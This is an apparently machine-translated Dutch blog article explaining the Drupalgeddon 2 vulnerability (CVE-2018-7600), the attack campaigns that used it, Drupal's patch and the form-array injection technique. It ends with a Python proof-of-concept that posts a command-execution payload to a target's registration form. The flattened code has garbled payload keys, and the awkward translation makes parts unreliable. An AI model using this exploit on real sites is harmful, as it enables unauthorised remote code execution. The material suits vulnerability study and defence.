Het is een goede zaak.

meer dan een miljoen actieve websites maken gebruik van Drupal, waardoor het de tweede meest gebruikte content management systeem wereldwijd na WordPress. Op Maart 28, 2018, Drupal vrijgegeven beveiligingspatches voor versies 6 tot en met 8 suggereert om onmiddellijk bij te werken en het markeren van de onderliggende kwetsbaarheid (CVE-2018-7600) als kritisch met uitvoering van externe code. Het scannen en aanvallen op de websites met behulp van Drupal exponentieel toegenomen zoals verwacht, maar er waren geen meldingen van de kwetsbaarheid wordt uitgebuit in het wild. Dan een paar dagen geleden een Russische security-onderzoeker publiceerde een proof-of-concept (POC) exploit code op GitHub en Internet ging gek.

exploitatie vergaard en aanvallers begonnen het te gebruiken om cryptogeld mijnwerkers en malware backdoors te installeren. Er wordt aangenomen dat een van de Monero mijnwerker campagnes die XMRig geleverd terwijl het benutten van de kwetsbaarheid (CVE-2017-10271) in Oracle WebLogic servers is betrokken.

volgens de statistieken zijn 90% van de Drupalgeddon 2-aanvallen niets anders dan scans om kwetsbare systemen te vinden, zijn 3% pogingen tot backdoor-infectie en 2% probeert crypto-mijnwerkers uit te voeren.

Drupal in zijn advies gewaarschuwd ” sites niet gepatched door woensdag, 2018-04-11 kan worden gecompromitteerd “en” gewoon bijwerken Drupal zal niet verwijderen backdoors of repareren gecompromitteerde sites. Als u vindt dat uw site is al gepatcht, maar je hebt het niet gedaan, dat kan een symptoom dat de site werd gecompromitteerd zijn. Sommige aanvallen in het verleden hebben de patch toegepast als een manier om te garanderen dat alleen die aanvaller de controle over de site heeft.”

technisch Jargon

Drupal introduceerde zijn vorm API in Drupal 6, waardoor de vormgegevens konden worden gewijzigd tijdens het proces van het renderen van formulieren. Dit veranderde de manier waarop markup processing werkte. In Drupal 7 werd de vorm API gegeneraliseerd naar wat nu bekend staat als”Renderable Arrays”. Deze uitgebreide API wordt gebruikt om de structuur van de meeste UI-elementen in Drupal weer te geven, zoals pagina ‘ s, blokken, knooppunten en meer. Renderbare arrays bevatten metagegevens die worden gebruikt in het renderingsproces. Deze renderbare arrays zijn een sleutel-waarde structuur waarin de eigenschap sleutels beginnen met een hash teken (#). Een voorbeeld:

Drupal heeft een patch uitgebracht die slechts een enkele class RequestSanitizer toevoegt met een stripDangerousValues methode die alle items in een invoer array deselecteert voor sleutels die beginnen met een hash teken. Deze methode reinigt invoergegevens in $_GET, $_POST & $_COOKIES tijdens de zeer vroege stadia van Drupal ‘ s bootstrap (onmiddellijk na het laden van de site configuraties). Er kan worden aangenomen dat de reden waarom de patch werd vrijgegeven is om een bestaande kwetsbaarheid moeilijker te vinden.

de kwetsbaarheid werd gevonden in de formulieren. Het gebruikersregistratieformulier dat geen authenticatie vereist en anoniem toegankelijk is, bevat meerdere invoervelden en kan worden benut.

Afbeeldingsbron: Checkpoint, Dofinity

het was zeer waarschijnlijk dat het injecteren van een renderable array de kwetsbaarheid zou benutten, de vraag was waar?

het blijkt dat het veld” E-mailadres ” niet het type invoer dat het ontvangt, ontsmet waardoor we de renderbare array konden injecteren in de structuur van de form array.

Afbeeldingsbron: Checkpoint, Dofinity

nu was alles wat we nodig hadden voor Drupal om onze geïnjecteerde array te renderen. Omdat Drupal onze geïnjecteerde array behandelt als een waarde en niet als een element, moesten we Drupal misleiden om het te renderen. Drupal maakt een array op pagina load event of via Drupal Ajax API.

het “Picture” – veld van het gebruikersregistratieformulier gebruikt de Ajax API van Drupal om een afbeelding te uploaden en te vervangen door een miniatuur van de geüploade afbeelding.

proof-of-concept (POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

Geef een antwoord

Het e-mailadres wordt niet gepubliceerd.

Related Posts